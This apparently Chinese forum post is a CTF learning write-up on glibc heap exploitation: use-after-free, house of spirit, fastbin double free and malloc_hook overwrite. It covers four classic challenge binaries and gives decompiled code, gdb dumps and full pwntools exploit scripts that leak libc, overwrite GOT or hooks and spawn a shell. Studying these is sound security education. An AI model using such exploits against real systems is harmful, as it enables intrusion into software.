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发表于 2020-5-27 13:42:20 | 查看: 2604| 回复: 0

相关题目:

pwn堆入门系列教程5
  进入uaf学习了,这部分题目就一道题
hitcon-training-hacknote  这道题其实很简单,不过要冷静下才能做,我当时有点急躁,浪费一个钟才搞出来?冷静下来10分钟懂了
漏洞点
unsigned int del_note()  {
  int v1; // [esp+4h] [ebp-14h]
  char buf; // [esp+8h] [ebp-10h]
  unsigned int v3; // [esp+Ch] [ebp-Ch]
  v3 = __readgsdword(0x14u);
  printf("Index :");
  read(0, &buf, 4u);
  v1 = atoi(&buf);
  if ( v1 < 0 || v1 >= count )
  {
  puts("Out of bound!");
  _exit(0);
  }
  if ( notelist[v1] )
  {
  free(*(notelist[v1] + 1));
  free(notelist[v1]);
  puts("Success");
  }
  return __readgsdword(0x14u) ^ v3;
  }
  

漏洞利用过程  具体分析不讲了,ctf-wiki上讲的很清楚, 我大致讲一下就是要利用要覆盖到他的content指针,这样的话print的时候会调用到另一个函数
exp
#!/usr/bin/env python2  # -*- coding: utf-8 -*-
  from PwnContext.core import *
  local = True
  # Set up pwntools for the correct architecture
  exe = './' + 'hacknote'
  elf = context.binary = ELF(exe)
  #don't forget to change it
  host = '127.0.0.1'
  port = 10000
  #don't forget to change it
  #ctx.binary = './' + 'hacknote'
  ctx.binary = exe
  libc = elf.libc
  ctx.debug_remote_libc = False
  ctx.remote_libc = libc
  if local:
  context.log_level = 'debug'
  io = ctx.start()
  else:
  io = remote(host,port)
  #===========================================================
  #                    EXPLOIT GOES HERE
  #===========================================================
  # Arch:     i386-32-little
  #>
  # Stack:    Canary found
  # NX:       NX enabled
  # PIE:      No PIE (0x8048000)
  def add(size, content):
  io.sendlineafter("Your choice :", "1")
  io.sendlineafter("Note>
  io.sendlineafter("Content :", content)
  def delete(idx):
  io.sendlineafter("Your choice :", "2")
  io.sendlineafter("Index :", str(idx))
  def Print(idx):
  io.sendlineafter("Your choice :", "3")
  io.sendlineafter("Index :", str(idx))
  def Exit():
  io.sendlineafter("Your choice :", "4")
  def exp():
  ptr = 0x08048986
  add(0x20, 'aaaa')
  add(0x20, 'bbbb')
  delete(0)
  delete(1)
  add(0x8, p32(ptr))
  Print(0)
  if __name__ == '__main__':
  exp()
  io.interactive()
  

  接下来进入fastbin attack,fastbin attack有三个题目
2014 hack.lu oreo  补充函数说明:
  • fgets函数会在输入完成后自动在结尾添加一个'\0',比如我们输入1234加上我们的回车总共是1234'\x0a''\x00'他sub_80485EC这个函数会将\x0a变成\x00

    pwn堆入门系列教程5

    pwn堆入门系列教程5

结构体构造  开头调试的时候一直不理解他的结构体是如何构造出来的,然后ida解析出来的跟他图片上所谓结构体格格不入,所以手动调试了一下午,知道了他的结构体是如何构造的
struct gum  {
  char decription[25];
  char name[27];
  struct *next;
  }
  

  这个结构体是经过调试以及看汇编得出来的,
unsigned int sub_8048644()  {
  char *v1; // [esp+18h] [ebp-10h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]
  v2 = __readgsdword(0x14u);
  v1 = dword_804A288;
  dword_804A288 = (char *)malloc(0x38u);
  if ( dword_804A288 )
  {
  *((_DWORD *)dword_804A288 + 13) = v1;
  printf("Rifle name: ");
  fgets(dword_804A288 + 25, 56, stdin);
  sub_80485EC(dword_804A288 + 25);
  printf("Rifle description: ");
  fgets(dword_804A288, 56, stdin);
  sub_80485EC(dword_804A288);
  ++dword_804A2A4;
  }
  else
  {
  puts("Something terrible happened!");
  }
  return __readgsdword(0x14u) ^ v2;
  }
  

  这里可以看出filename从25开始的,推出前面的description为25,而name长度为27是如何推出来的呢?看图

pwn堆入门系列教程5

pwn堆入门系列教程5
  我这是在输出函数
unsigned int sub_8048729()  {
  char *i; // [esp+14h] [ebp-14h]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]
  v2 = __readgsdword(0x14u);
  printf("Rifle to be ordered:\n%s\n", "===================================");
  for ( i = dword_804A288; i; i = (char *)*((_DWORD *)i + 13) )
  {
  printf("Name: %s\n", i + 25);
  printf("Description: %s\n", i);
  puts("===================================");
  }
  return __readgsdword(0x14u) ^ v2;
  }
  

  这里下的断点,你看ida解析出来的什么鬼,i+13,莫名奇妙的写法,完全看不懂,然后我定位到这里断点后,他加的值是0x34,他是从结构体开头加的0x34(10进制:52),然后取出下一个指针,也就是next指针,继续进行循环,ida解析出的i+13完全乱来的,52-25 = 27,所以大小就这么退出来了,不理解这个结构体,这道题很多写法都看不懂,比如他的偏移什么,理解了就好构造了。
整体思路  题目里有堆溢出,我们可以通过堆溢出溢出到结构体的next指针,让next指针指向got表某一项,从而泄露出地址,进而求出libc的地址,求出libc的地址过后,在利用house of sprit,free掉一个自己伪造的chunk,进而达到覆写got表成one_gadget,然后通过调用该函数获得权限
初始化函数  将堆的各个操作写成函数,因为堆里有很多重复操作,所以这样会比较方便
def add(name, description):  p.sendline("1")
  p.sendline(name)
  p.sendline(description)
  def show():
  p.sendline("2")
  p.recvuntil("===================================")
  def delete():
  p.sendline("3")
  def edit(payload):
  p.sendline("4")
  p.sendline(payload)
  def puts():
  p.sendline("5")
  

leak地址  我们知道他有个next指针,所以我们覆盖掉他的next指针,在利用show函数就可以打印任意地址的内容了
#first leak the libc  puts_got = elf.got['puts']
  payload = 'a'*27 + p32(puts_got)
  add(payload, 'a'*25)
  show()
  p.recvuntil("===================================")
  p.recvuntil("Description: ")
  result = p.recvuntil("===================================")[:4]
  puts_addr = u32(result)
  log.success("puts_got = {:#x}".format(puts_addr))
  libc_base = puts_addr - libc.symbols['puts']
  sys_addr = libc_base + libc.symbols['system']
  bin_sh = libc_base + libc.search('/bin/sh').next()
  

  这样就leak出puts的地址,接着就可以获得libc地址
填充大小并修改next指针  这题目有个计算数值的变量,也就是说你malloc一个,他就会加1,我们可以将这里当作chunk大小,因为一个枪支结构体大小为0x38,所以堆块大小为0x40,我们将其大小提升至0x40,并让最后一个堆块的next指针指向这块
i = 1  while i < 0x3f:
  add('a'*27 + p32(0), 'b'*25)
  i += 1
  payload = 'a'*27 + p32(0x804A2A8)
  add(payload, 'a'*25)
  

  0x804a2a4是count的地址,所以+4就是堆块的数据段
绕过检测
  •   对齐检查
      在此处的检查中,要求堆块具有16bytes对齐,所以chunk header的起始地址应为0x**0的形式。
  •   fake chunk 的size大小检查
      按照上文中chunk的结构布局,使当前fake chunk的size为合适的大小,能够充足利用并且加入fastbin(0x10-0x80),
  •   next chunk 的size大小检查
      除了当前chunk的大小,与目标地址物理相邻的内存空间也应按照堆块的结构将size位置改写为能够加入fastbin的合适的大小的数值。
  •   标记位检查

  This chunk.size of this region has to be 16 more than the region (to accomodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREVINUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the ISMMAPPED (second lsb) and _NON_MAIN_ARENA (third lsb) bits cause problems…. note that this has to be the>
### begin fake  payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
  payload = payload.ljust(0x34, 'b')
  payload += p32(0)
  payload = payload.ljust(0x80, 'c')
  edit(payload)
  delete()
  p.recvuntil('Okay order submitted!\n')
  
gdb-peda$ x/60wx 0x804a2c0-0x20  0x804a2a0:  0x00000000  0x00000040  0x0804a2c0  0x00000000
  0x804a2b0:  0x00000000  0x00000000  0x00000000  0x00000000
  0x804a2c0:  0x00000000  0x00000000  0x00000000  0x00000000
  0x804a2d0:  0x00000000  0x00000000  0x00000000  0x00000000
  0x804a2e0:  0x00000040  0x00000100  0x62626262  0x62626262
  0x804a2f0:  0x62626262  0x00000000  0x63636363  0x63636363
  0x804a300:  0x63636363  0x63636363  0x63636363  0x63636363
  0x804a310:  0x63636363  0x63636363  0x63636363  0x63636363
  0x804a320:  0x63636363  0x63636363  0x63636363  0x63636363
  0x804a330:  0x63636363  0x63636363  0x63636363  0x00636363
  0x804a340:  0x00000000  0x00000000  0x00000000  0x00000000
  0x804a350:  0x00000000  0x00000000  0x00000000  0x00000000
  0x804a360:  0x00000000  0x00000000  0x00000000  0x00000000
  0x804a370:  0x00000000  0x00000000  0x00000000  0x00000000
  0x804a380:  0x00000000  0x00000000  0x00000000  0x00000000

  可以看下内存中的内容,这就是构造完成后的图,然后free掉0x804a2a0这个大小为0x40的堆块,然后在fastbin中是FILO,所以你在申请的堆块就是申请到的是0x804a2a0这个堆块,在0x0804a2a8这个堆块的数据部分的东西就很重要了
覆写got表
payload = p32(elf.got['strlen'])  payload = payload.ljust(25,'a')
  add('b'*27 + p32(0), payload)
  payload = p32(sys_addr) + ";/bin/sh\x00"
  edit(payload)
  p.interactive()
  

  这里ctf-wiki用的是strlen表,然后这里有个小细节。。。记得第二个位置才是结构体的开头,所以payload要放在add的第二个位置,构造payload为strlen的地址,然后在用edit函数进行编辑
unsigned int Message()  {
  unsigned int v0; // ST1C_4
  v0 = __readgsdword(0x14u);
  printf("Enter any notice you'd like to submit with your order: ");
  fgets(dword_804A2A8, 128, stdin);
  sub_80485EC(dword_804A2A8);
  return __readgsdword(0x14u) ^ v0;
  }
  

  edit函数在ida里的原样,就是从0x804a2a8指向的空间写东西,这里指向的空间是0x0804a2c0也就是我们刚刚payload写入的位置,然后进行编辑
gdb-peda$ x/60wx 0x804a2a8-0x8  0x804a2a0:  0x00000001  0x00000041  0x0804a250  0x61616161
  0x804a2b0:  0x61616161  0x61616161  0x61616161  0x61616161
  0x804a2c0:  0x62000061  0x62626262  0x62626262  0x62626262
  0x804a2d0:  0x62626262  0x62626262  0x62626262  0x00000000
  0x804a2e0:  0x0000000a  0x00000100  0x62626262  0x62626262
  0x804a2f0:  0x62626262  0x00000000  0x63636363  0x63636363
  0x804a300:  0x63636363  0x63636363  0x63636363  0x63636363
  0x804a310:  0x63636363  0x63636363  0x63636363  0x63636363
  0x804a320:  0x63636363  0x63636363  0x63636363  0x63636363
  0x804a330:  0x63636363  0x63636363  0x63636363  0x00636363
  0x804a340:  0x00000000  0x00000000  0x00000000  0x00000000
  0x804a350:  0x00000000  0x00000000  0x00000000  0x00000000
  0x804a360:  0x00000000  0x00000000  0x00000000  0x00000000
  0x804a370:  0x00000000  0x00000000  0x00000000  0x00000000
  0x804a380:  0x00000000  0x00000000  0x00000000  0x00000000

  你看,地址变成了0x804a250
► 0x80487eb    call   fgets@plt <0x8048480>  s: 0x804a250 ([email]strlen@got.plt[/email]) —▸ 0xf7e3d440 ◂— 0x7c8b5756
  n: 0x80
  stream: 0xf7f715a0 (_IO_2_1_stdin_) ◂— 0xfbad208
  

  就是got表的地址
  然后编辑过后调用strlen就会出发了,这里我有个不懂的地方就是将got表覆盖成system的地址,然后我不知道如何进行传参数,ctf-wiki给的是‘;/bin/sh\x00',经过测试system("abcd;/bin/sh")在c语言里也是可以获得权限的,
  这里是调用strlen,strlen求的是payload长度,所以相当于system(payload)
  也就是相当于system(p32(sys_addr)+";/bin/sh")
  并且他前面求出了bin_sh地址,他也没用上。应该也是这里卡住了一小会,我是转头改用了one_gadget
payload = p32(elf.got['puts'])  payload = payload.ljust(25,'a')
  add('b'*27 + p32(0), payload)
  one_gadget = libc_base + 0x5fbc5
  payload = p32(one_gadget)
  edit(payload)
  puts()
  p.interactive()
  

  完结,撒花
  完整exp
#!/usr/bin/env python  # coding=utf-8
  from PwnContext.core import *
  ctx.binary = 'oreo'
  ctx.remote_libc = 'libc.so.6'
  ctx.debug_remote_libc = True
  elf = ELF('./oreo')
  if ctx.debug_remote_libc == False:
  libc = elf.libc
  else:
  libc = ctx.remote_libc
  local = 1
  if local:
  #context.log_level = 'debug'
  p = ctx.start()
  else:
  p = remote("",10000)
  log.info('PID: ' + str(proc.pidof(p)[0]))
  def add(name, description):
  p.sendline("1")
  p.sendline(name)
  p.sendline(description)
  def show():
  p.sendline("2")
  p.recvuntil("===================================")
  def delete():
  p.sendline("3")
  def edit(payload):
  p.sendline("4")
  p.sendline(payload)
  def puts():
  p.sendline("5")
  if __name__ == '__main__':
  #first leak the libc
  puts_got = elf.got['puts']
  payload = 'a'*27 + p32(puts_got)
  add(payload, 'a'*25)
  show()
  p.recvuntil("===================================")
  p.recvuntil("Description: ")
  result = p.recvuntil("===================================")[:4]
  puts_addr = u32(result)
  log.success("puts_got = {:#x}".format(puts_addr))
  libc_base = puts_addr - libc.symbols['puts']
  sys_addr = libc_base + libc.symbols['system']
  bin_sh = libc_base + libc.search('/bin/sh').next()
  #second fake bin
  i = 1
  while i < 0x3f:
  add('a'*27 + p32(0), 'b'*25)
  i += 1
  payload = 'a'*27 + p32(0x804A2A8)
  add(payload, 'a'*25)
  ### begin fake
  payload = p8(0)*0x20 + p32(0x40) + p32(0x100)
  payload = payload.ljust(0x34, 'b')
  payload += p32(0)
  payload = payload.ljust(0x80, 'c')
  gdb.attach(p)
  edit(payload)
  delete()
  p.recvuntil('Okay order submitted!\n')
  payload = p32(elf.got['strlen'])
  payload = payload.ljust(25,'a')
  add('b'*27 + p32(0), payload)
  #one_gadget = libc_base + 0x5fbc5
  #payload = p32(one_gadget)
  payload = p32(sys_addr) + ";/bin/sh\x00"
  edit(payload)
  puts()
  p.interactive()
  

2015 9447 CTF : Search Engine  这道题说实话,我连功能怎么使用都不知道。。最后看了wp,也是似懂非懂,不过大概漏洞过程我是理解了的
  先利用unsortbin泄露地址
  double free 到malloc_hook
  然后改malloc_hook为one_gadget
  错位部分自己解决
  最近学到一个新姿势,double free触发malloc_hook,下一篇写个最近遇到的有趣的题目
  其余部分参考ctf-wiki
exp
#!/usr/bin/env python2  # -*- coding: utf-8 -*-
  from PwnContext.core import *
  local = True
  # Set up pwntools for the correct architecture
  exe = './' + 'search'
  elf = context.binary = ELF(exe)
  #don't forget to change it
  host = '127.0.0.1'
  port = 10000
  #don't forget to change it
  #ctx.binary = './' + 'search'
  ctx.binary = exe
  libc = args.LIBC or 'libc.so.6'
  ctx.debug_remote_libc = True
  ctx.remote_libc = libc
  if local:
  context.log_level = 'debug'
  io = ctx.start()
  libc = ELF(libc)
  else:
  io = remote(host,port)
  #===========================================================
  #                    EXPLOIT GOES HERE
  #===========================================================a
  # Arch:     amd64-64-little
  #>
  # Stack:    Canary found
  # NX:       NX enabled
  # PIE:      No PIE (0x400000)
  # FORTIFY:  Enabled
  def offset_bin_main_arena(idx):
  word_bytes = context.word_size / 8
  offset = 4  # lock
  offset += 4  # flags
  offset += word_bytes * 10  # offset fastbin
  offset += word_bytes * 2  # top,last_remainder
  offset +=>
  offset -= word_bytes * 2  # bin overlap
  return offset
  unsortedbin_offset_main_arena = offset_bin_main_arena(0)
  main_arena_offset = 0x3c4b20
  def index_sentence(s):
  io.recvuntil("3: Quit\n")
  io.sendline('2')
  io.recvuntil("Enter the sentence>
  io.sendline(str(len(s)))
  io.send(s)
  def search_word(word):
  io.recvuntil("3: Quit\n")
  io.sendline('1')
  io.recvuntil("Enter the word>
  io.sendline(str(len(word)))
  io.send(word)
  def leak_libc():
  smallbin_sentence = 's' * 0x85 + ' m '
  index_sentence(smallbin_sentence)
  search_word('m')
  io.recvuntil('Delete this sentence (y/n)?\n')
  io.sendline('y')
  search_word('\x00')
  io.recvuntil('Found ' + str(len(smallbin_sentence)) + ': ')
  unsortedbin_addr = u64(io.recv(8))
  io.recvuntil('Delete this sentence (y/n)?\n')
  io.sendline('n')
  return unsortedbin_addr
  def exp():
  # 1. leak libc base
  unsortedbin_addr = leak_libc()
  main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena
  libc_base = main_arena_addr - main_arena_offset
  log.success('unsortedbin addr: ' + hex(unsortedbin_addr))
  log.success('libc base addr: ' + hex(libc_base))
  # 2. create cycle fastbin 0x70>
  index_sentence('a' * 0x5d + ' d ')  #a
  index_sentence('b' * 0x5d + ' d ')  #b
  index_sentence('c' * 0x5d + ' d ')  #c
  # a->b->c->NULL
  search_word('d')
  io.recvuntil('Delete this sentence (y/n)?\n')
  io.sendline('y')
  io.recvuntil('Delete this sentence (y/n)?\n')
  io.sendline('y')
  io.recvuntil('Delete this sentence (y/n)?\n')
  io.sendline('y')
  # b->a->b->a->...
  search_word('\x00')
  io.recvuntil('Delete this sentence (y/n)?\n')
  gdb.attach(io)
  io.sendline('y')
  io.recvuntil('Delete this sentence (y/n)?\n')
  io.sendline('n')
  io.recvuntil('Delete this sentence (y/n)?\n')
  io.sendline('n')
  # 3. fastbin attack to malloc_hook nearby chunk
  fake_chunk_addr = main_arena_addr - 0x33
  fake_chunk = p64(fake_chunk_addr).ljust(0x60, 'f')
  index_sentence(fake_chunk)
  index_sentence('a' * 0x60)
  index_sentence('b' * 0x60)
  one_gadget_addr = libc_base + 0xf02a4
  payload = 'a' * 0x13 + p64(one_gadget_addr)
  payload = payload.ljust(0x60, 'f')
  index_sentence(payload)
  if __name__ == '__main__':
  exp()
  io.interactive()
  

2017 0ctf babyheap漏洞点
__int64 __fastcall fill(chunk *a1)  {
  __int64 result; // rax
  int v2; // [rsp+18h] [rbp-8h]
  int v3; // [rsp+1Ch] [rbp-4h]
  printf("Index: ");
  result = read_num();
  v2 = result;
  if ( (int)result >= 0 && (int)result <= 15 )
  {
  result = LODWORD(a1[(int)result].inuse);
  if ( (_DWORD)result == 1 )
  {
  printf("Size: ");
  result = read_num();
  v3 = result;
  if ( (int)result > 0 )
  {
  printf("Content: ");
  result = read_content(a1[v2].ptr, v3);
  }
  }
  }
  return result;
  }
  

  这里写任意长度,堆溢出,原来想unlink发觉没全局变量
__int64 __fastcall free_chunk(chunk *a1)  {
  __int64 result; // rax
  int v2; // [rsp+1Ch] [rbp-4h]
  printf("Index: ");
  result = read_num();
  v2 = result;
  if ( (int)result >= 0 && (int)result <= 15 )
  {
  result = LODWORD(a1[(int)result].inuse);
  if ( (_DWORD)result == 1 )
  {
  LODWORD(a1[v2].inuse) = 0;
  a1[v2].size = 0LL;
  free(a1[v2].ptr);
  result = (__int64)&a1[v2];
  *(_QWORD *)(result + 16) = 0LL;
  }
  }
  return result;
  }
  

  free后没有置空,存在double free
漏洞利用过程
  • 这道题我原来觉得很简单,后面自己做起来才发觉问题较多,不是难,而是细节性的问题比较多
  • 大体思路是构造unsortbin泄露libc地址,然后通过覆盖malloc_hook成one_gadget拿到shell
  • 细节点1:你会发觉这道题你没有全局变量,所以要在堆上做文章,通过连续free两个chunk,第一个free的chunk的fd会指向第二个
  • 细节点2:要绕过fastbin的长度检测,所以要多次溢出修改size,这里我建议不要急着free,我自己做的时候先free就出错了
  • 细节点3:>
  • 具体在exp里在标注下注释就好了
exp
#!/usr/bin/env python2  # -*- coding: utf-8 -*-
  from PwnContext.core import *
  local = True
  # Set up pwntools for the correct architecture
  exe = './' + 'babyheap'
  elf = context.binary = ELF(exe)
  #don't forget to change it
  host = '127.0.0.1'
  port = 10000
  #don't forget to change it
  #ctx.binary = './' + 'babyheap'
  ctx.binary = exe
  libc = args.LIBC or 'libc.so.6'
  ctx.debug_remote_libc = True
  ctx.remote_libc = libc
  if local:
  context.log_level = 'debug'
  io = ctx.start()
  libc = ELF(libc)
  else:
  io = remote(host,port)
  #===========================================================
  #                    EXPLOIT GOES HERE
  #===========================================================
  # Arch:     amd64-64-little
  #>
  # Stack:    Canary found
  # NX:       NX enabled
  # PIE:      PIE enabled
  def Allocate(size):
  io.sendlineafter("Command: ", "1")
  io.sendlineafter("Size: ", str(size))
  def Dump(idx):
  io.sendlineafter("Command: ", "4")
  io.sendlineafter("Index: ", str(idx))
  def Fill(idx,>
  io.sendlineafter("Command: ", "2")
  io.sendlineafter("Index: ", str(idx))
  io.sendlineafter("Size: ", str(size))
  io.sendlineafter("Content: ", content)
  def Free(idx):
  io.sendlineafter("Command: ", "3")
  io.sendlineafter("Index: ", str(idx))
  def test():
  Allocate(0x10)
  Dump(0)
  Fill(0, 0x10, 'a'*0x18)
  Free(0)
  def exp():
  #test()
  Allocate(0x10) #0
  Allocate(0x10) #1
  Allocate(0x10) #2
  Allocate(0x10) #3
  Allocate(0x80) #4
  #细节点1
  Free(2)
  Free(1)
  payload = 'a'*0x10 + p64(0) + p64(0x21) + p8(0x80)
  Fill(0, len(payload), payload)
  payload = 'a'*0x10 + p64(0) + p64(0x21)
  #细节点2
  Fill(3, len(payload), payload)
  Allocate(0x10) #1
  Allocate(0x10) #2
  payload = 'a'*0x10 + p64(0) + p64(0x91)
  #细节点2
  Fill(3, len(payload), payload)
  Allocate(0x80) #5
  Free(4)
  Dump(2)
  io.recvuntil("Content: \n")
  libc_base = u64(io.recv(6).strip().ljust(8, '\x00')) - 0x3c4b78
  io.success("libc_base: 0x%x" % libc_base)
  malloc_hook = libc_base + libc.symbols['__malloc_hook']
  io.success("malloc_hook: 0x%x" %malloc_hook)
  one_gadget = 0x45216
  one_gadget = 0x4526a #0xf02a4 0xf1147
  one_gadget = one_gadget + libc_base
  ptr = malloc_hook-0x20-0x3
  Allocate(0x60) #4
  Free(4)
  payload = p64(ptr)
  Fill(2, len(payload), payload)
  Allocate(0x60) #4
  Allocate(0x60) #6
  payload = 'a'*0x13 + p64(one_gadget)
  Fill(6, len(payload), payload)
  Allocate(0x20) #7
  #gdb.attach(io)
  if __name__ == '__main__':
  exp()
  io.interactive()
  

总结
  • fastbin的题目相对来说不难,可能是因为前面有基础了的原因了吧,以后多做下题巩固下就好
  • double free也是常用的攻击手段
  • 逆向还得多学习,像搜索引擎那题,看都看不懂题目,做什么题。。。
参考链接  ctf-wiki


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